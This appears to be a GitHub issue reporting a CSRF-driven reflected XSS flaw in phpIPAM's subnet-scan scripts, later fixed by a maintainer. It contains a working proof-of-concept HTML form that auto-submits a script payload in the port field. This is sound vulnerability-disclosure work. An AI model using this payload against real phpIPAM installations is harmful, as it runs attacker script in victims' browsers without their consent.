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XSS via CSRF(subnet-scan-telnet.php & subnet-scan-execute.php) #2327

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magicOz opened this Issue Nov 21, 2018 · 0 comments

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magicOz commented Nov 21, 2018

The line
$Result->show("danger", _("Invalid port")." ($p)", true);
in /app/subnets/scan/subnet-scan-telnet.php and no CSRF-protection at /app/subnets/scan/subnet-scan-execute.php causes an XSS vulnerability.

Poc:

<form method="POST" action="http://localhost/phpipam/app/subnets/scan/subnet-scan-execute.php">
<input type="text" value="3" name="subnetId">
<input type="text" value="scan-telnet" name="type">
<input type="text" value="0" name="debug">
<input type="text" value="<script>alert('XSS')</script>" name="port">
<input type="submit" value=""></form>
<script>document.forms[0].submit();</script>

Note that a valid subnetId has to be used.

@GaryAllan GaryAllan self-assigned this Dec 4, 2018

@GaryAllan GaryAllan closed this in fd37bd8 Dec 8, 2018

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